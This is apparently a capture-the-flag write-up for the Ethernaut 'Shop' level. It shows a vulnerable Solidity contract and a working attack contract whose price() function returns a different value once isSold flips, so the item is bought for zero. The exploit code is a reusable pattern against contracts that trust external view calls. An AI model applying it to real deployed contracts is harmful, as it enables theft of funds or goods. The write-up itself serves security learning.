Level 21 - Shop ⏺⏺

Level Setup

Сan you get the item from the shop for less than the price asked?

Things that might help:

  • Shop expects to be used from a Buyer

  • Understanding restrictions of view functions

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

Exploit

make anvil-exploit-level-21

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
src/Level21.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ================================================================
// │                         LEVEL 21 - SHOP                      │
// ================================================================
interface IShop {
    function buy() external;
    function isSold() external view returns (bool);
    function price() external view returns (uint256);
}

contract AttackContract {
    function price() public view returns (uint256) {
        bool isSold = IShop(msg.sender).isSold();
        uint256 askedPrice = IShop(msg.sender).price();
        if (!isSold) {
            return askedPrice;
        } else {
            return 0;
        }
    }

    function buyFromShop(address _shopAddr) public {
        IShop(_shopAddr).buy();
    }
}

Submit instance... 🥳

Completion Message

Contracts can manipulate data seen by other contracts in any way they want.

It's unsafe to change the state based on external and untrusted contracts logic.

Notes

Last updated